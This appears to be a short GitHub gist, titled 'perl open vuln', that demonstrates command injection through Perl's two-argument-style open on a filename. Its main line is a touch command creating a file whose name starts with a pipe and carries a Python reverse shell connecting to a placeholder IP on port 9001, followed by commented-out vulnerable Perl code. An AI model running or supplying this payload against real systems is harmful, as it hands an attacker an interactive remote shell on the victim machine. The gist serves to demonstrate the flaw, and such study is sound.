Skip to content

Instantly share code, notes, and snippets.

@shollingsworth
Created February 10, 2022 01:40
Show Gist options
  • Save shollingsworth/53737e0c5a19815210636483134f60bd to your computer and use it in GitHub Desktop.
Save shollingsworth/53737e0c5a19815210636483134f60bd to your computer and use it in GitHub Desktop.
perl open vuln
# https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890543
touch "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.XX.XX\",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")';echo .csv"
# vulnerable open command
# my $fname = "${csv_dir}/${type}.csv";
# open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment